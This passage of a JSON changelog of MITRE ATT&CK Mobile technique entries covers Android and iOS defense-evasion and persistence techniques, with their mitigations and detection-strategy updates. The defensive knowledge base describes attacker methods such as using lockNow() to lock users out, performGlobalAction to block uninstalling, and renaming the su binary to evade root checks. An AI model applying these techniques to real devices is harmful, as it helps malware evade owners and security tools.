from PayPal accounts even with 2FA on. Retrieved July 11, 2019.", + "url": "https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/" + }, + { + "source_name": "bankbot-spybanker", + "description": "NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved September 12, 2024.", + "url": "https://www.cyber.nj.gov/threat-landscape/malware/trojans/bankbot-spy-banker" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Emily Ratliff, IBM" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.410000+00:00\", \"old_value\": \"2024-09-12 19:47:06.884000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings. If the user is redirected to the device settings when tapping an application\\u2019s icon, they should inspect the application to ensure it is genuine. Application vetting services could potentially detect the usage of APIs intended for suppressing the application\\u2019s icon.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0714: Detection of Suppress Application Icon" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--24a77e53-0751-46fc-b207-99378fb35c08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-11 20:05:56.069000+00:00", + "modified": "2025-10-24 17:48:32.337000+00:00", + "name": "User Evasion", + "description": "Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary\u2019s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. \n\nWhile there are many ways this can be accomplished, one method is by using the device\u2019s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1628/002", + "external_id": "T1628.002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.337000+00:00\", \"old_value\": \"2025-04-16 21:21:46.535000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1010: Deploy Compromised Device Detection Method" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0699: Detection of User Evasion" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--670a4d75-103b-4b14-8a9e-4652fa795edd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 14:49:18.650000+00:00", + "modified": "2025-10-24 17:48:53.101000+00:00", + "name": "Hijack Execution Flow", + "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time. \n\nThere are many ways an adversary may hijack the flow of execution. A primary way is by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs or resources, such as file directories, could also be poisoned to include malicious payloads.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1625", + "external_id": "T1625" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "external_id": "APP-27" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.101000+00:00\", \"old_value\": \"2025-04-16 21:21:50.121000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1002: Attestation", + "M1004: System Partition Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0694: Detection of Hijack Execution Flow" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c6e17ca2-08b5-4379-9786-89bd05241831", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 15:07:51.646000+00:00", + "modified": "2025-10-24 17:49:22.267000+00:00", + "name": "System Runtime API Hijacking", + "description": "Adversaries may execute their own malicious payloads by hijacking the way an operating system runs applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur at later points in time. \n\n\nOn Android, adversaries may overwrite the standard OS API library with a malicious alternative to hook into core functions to achieve persistence. By doing this, the adversary\u2019s code will be executed every time the overwritten API function is called by an app on the infected device.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1625/001", + "external_id": "T1625.001" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "external_id": "APP-27" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.267000+00:00\", \"old_value\": \"2025-04-16 21:21:55.191000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile threat defense agents could detect unauthorized operating system modifications by using attestation. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1002: Attestation", + "M1004: System Partition Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0689: Detection of System Runtime API Hijacking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ccde43e4-78f9-4f32-b401-c081e7db71ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-09-24 14:47:34.182000+00:00", + "modified": "2025-10-24 17:49:24.183000+00:00", + "name": "Hooking", + "description": "Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1617", + "external_id": "T1617" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "J\u00f6rg Abraham, EclecticIQ" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.183000+00:00\", \"old_value\": \"2025-04-25 15:16:39.824000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1002: Attestation", + "M1010: Deploy Compromised Device Detection Method" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0719: Detection of Hooking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--20b0931a-8952-42ca-975f-775bad295f1a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 18:42:22.117000+00:00", + "modified": "2025-10-24 17:48:30.589000+00:00", + "name": "Impair Defenses", + "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may span both native defenses as well as supplemental capabilities installed by users or mobile endpoint administrators.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1629", + "external_id": "T1629" + }, + { + "source_name": "Samsung Knox Mobile Threat Defense", + "description": "Samsung Knox Partner Program. (n.d.). Knox for Mobile Threat Defense. Retrieved March 30, 2022.", + "url": "https://partner.samsungknox.com/mtd" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", + "external_id": "APP-22" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:30.589000+00:00\", \"old_value\": \"2025-04-16 21:21:45.996000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile security products integrated with Samsung Knox for Mobile Threat Defense can monitor processes to see if security tools are killed or stop running. Application vetting can detect many techniques associated with impairing device defenses.(Citation: Samsung Knox Mobile Threat Defense)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1004: System Partition Integrity", + "M1010: Deploy Compromised Device Detection Method", + "M1011: User Guidance", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Termination)", + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0687: Detection of Impair Defenses" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--acf8fd2a-dc98-43b4-8d37-64e10728e591", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 18:49:03.892000+00:00", + "modified": "2025-10-24 17:49:13.285000+00:00", + "name": "Device Lockout", + "description": "An adversary may seek to inhibit user interaction by locking the legitimate user out of the device. This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow()`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted \u201ccall\u201d notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.(Citation: Microsoft MalLockerB)(Citation: Talos GPlayed)(Citation: securelist rotexy 2018)\n\nPrior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device. The release of Android 7 introduced updates that only allow device or profile owners (e.g. MDMs) to reset the device\u2019s passcode.(Citation: Android resetPassword)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1629/002", + "external_id": "T1629.002" + }, + { + "source_name": "Microsoft MalLockerB", + "description": "D. Venkatesan. (2020, October 8). Sophisticated new Android malware marks the latest evolution of mobile ransomware . Retrieved October 29, 2020.", + "url": "https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/" + }, + { + "source_name": "Android resetPassword", + "description": "Google. (n.d.). DevicePolicyManager. Retrieved October 1, 2019.", + "url": "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)" + }, + { + "source_name": "securelist rotexy 2018", + "description": "T. Shishkova, L. Pikman. (2018, November 22). The Rotexy mobile Trojan \u2013 banker and ransomware. Retrieved September 23, 2019.", + "url": "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/" + }, + { + "source_name": "Talos GPlayed", + "description": "V. Ventura. (2018, October 11). GPlayed Trojan - .Net playing with Google Market . Retrieved November 24, 2020.", + "url": "https://blog.talosintelligence.com/2018/10/gplayedtrojan.html" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", + "external_id": "APP-22" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.285000+00:00\", \"old_value\": \"2025-04-16 21:21:53.782000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can view a list of device administrators in device settings and revoke permission where appropriate. Applications that request device administrator permissions should be scrutinized further for malicious behavior.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0603: Detection of Device Lockout" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 18:51:13.963000+00:00", + "modified": "2025-10-24 17:48:33.763000+00:00", + "name": "Disable or Modify Tools", + "description": "Adversaries may disable security tools to avoid potential detection of their tools and activities. This can take the form of disabling security software, modifying SELinux configuration, or other methods to interfere with security tools scanning or reporting information. This is typically done by abusing device administrator permissions or using system exploits to gain root access to the device to modify protected system files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1629/003", + "external_id": "T1629.003" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.763000+00:00\", \"old_value\": \"2025-04-16 21:21:47.026000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can view a list of active device administrators in the device settings.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1004: System Partition Integrity", + "M1010: Deploy Compromised Device Detection Method", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0693: Detection of Disable or Modify Tools" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dc01774a-d1c1-45fb-b506-0a5d1d6593d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 18:44:32.808000+00:00", + "modified": "2025-10-24 17:49:28.687000+00:00", + "name": "Prevent Application Removal", + "description": "Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.\n\nAdversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal. For example, Android's `performGlobalAction(int)` API could be utilized to prevent the user from removing the malicious application from the device after installation. If the user wants to uninstall the malicious application, two cases may occur, both preventing the user from removing the application.\n\n* Case 1: If the integer argument passed to the API call is `2` or `GLOBAL_ACTION_HOME`, the malicious application may direct the user to the home screen from settings screen \n\n* Case 2: If the integer argument passed to the API call is `1` or `GLOBAL_ACTION_BACK`, the malicious application may emulate the back press event ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1629/001", + "external_id": "T1629.001" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", + "external_id": "APP-22" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Shankar Raman, Gen Digital and Abhinand, Amrita University" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.687000+00:00\", \"old_value\": \"2023-09-28 15:38:41.106000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can view a list of device administrators and applications that have registered accessibility services in device settings. Users can typically visually see when an action happens that they did not initiate and can subsequently review installed applications for any out of place or unknown ones. Applications that register an accessibility service or request device administrator permissions should be scrutinized further for malicious behavior.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0598: Detection of Prevent Application Removal" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 19:28:25.541000+00:00", + "modified": "2025-10-24 17:48:23.556000+00:00", + "name": "Indicator Removal on Host", + "description": "Adversaries may delete, alter, or hide generated artifacts on a device, including files, jailbreak status, or the malicious application itself. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of mobile security solutions by causing notable events or information to go unreported.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1630", + "external_id": "T1630" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html", + "external_id": "APP-43" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS", + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.556000+00:00\", \"old_value\": \"2025-04-16 21:21:44.391000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. Users can see a list of applications that can use accessibility services in the device settings. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1002: Attestation", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0651: Detection of Indicator Removal on Host" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a91262d5-b9ff-463f-b8d2-12e4ea1eb3c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-08 16:29:30.087000+00:00", + "modified": "2025-10-24 17:49:12.130000+00:00", + "name": "Disguise Root/Jailbreak Indicators", + "description": "An adversary could use knowledge of the techniques used by security software to evade detection.(Citation: Brodie)(Citation: Tan) For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection.(Citation: Rastogi)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1630/003", + "external_id": "T1630.003" + }, + { + "source_name": "Brodie", + "description": "Daniel Brodie. (2016). Practical Attacks against Mobile Device Management (MDM). Retrieved December 21, 2016.", + "url": "https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf" + }, + { + "source_name": "Rastogi", + "description": "Vaibhav Rastogi, Yan Chen, and Xuxian Jiang. (2013, May). DroidChameleon: Evaluating Android Anti-malware against Transformation Attacks. Retrieved December 9, 2016.", + "url": "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf" + }, + { + "source_name": "Tan", + "description": "Vincent Tan. (2016, August). BAD FOR ENTERPRISE: ATTACKING BYOD ENTERPRISE MOBILE SECURITY SOLUTIONS. Retrieved February 4, 2017.", + "url": "http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html", + "external_id": "EMM-5" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:12.130000+00:00\", \"old_value\": \"2025-04-16 21:21:53.262000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile security products can use attestation to detect compromised devices.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0710: Detection of Disguise Root/Jailbreak Indicators" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ab7400b7-3476-4776-9545-ef3fa373de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 19:36:09.691000+00:00", + "modified": "2025-10-24 17:49:12.849000+00:00", + "name": "File Deletion", + "description": "Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location.(Citation: Android DevicePolicyManager 2019) \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1630/002", + "external_id": "T1630.002" + }, + { + "source_name": "Android DevicePolicyManager 2019", + "description": "Android Developers. (n.d.). DevicePolicyManager. Retrieved September 22, 2019.", + "url": "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html" + } + ], + "object_marking_refs": [ + 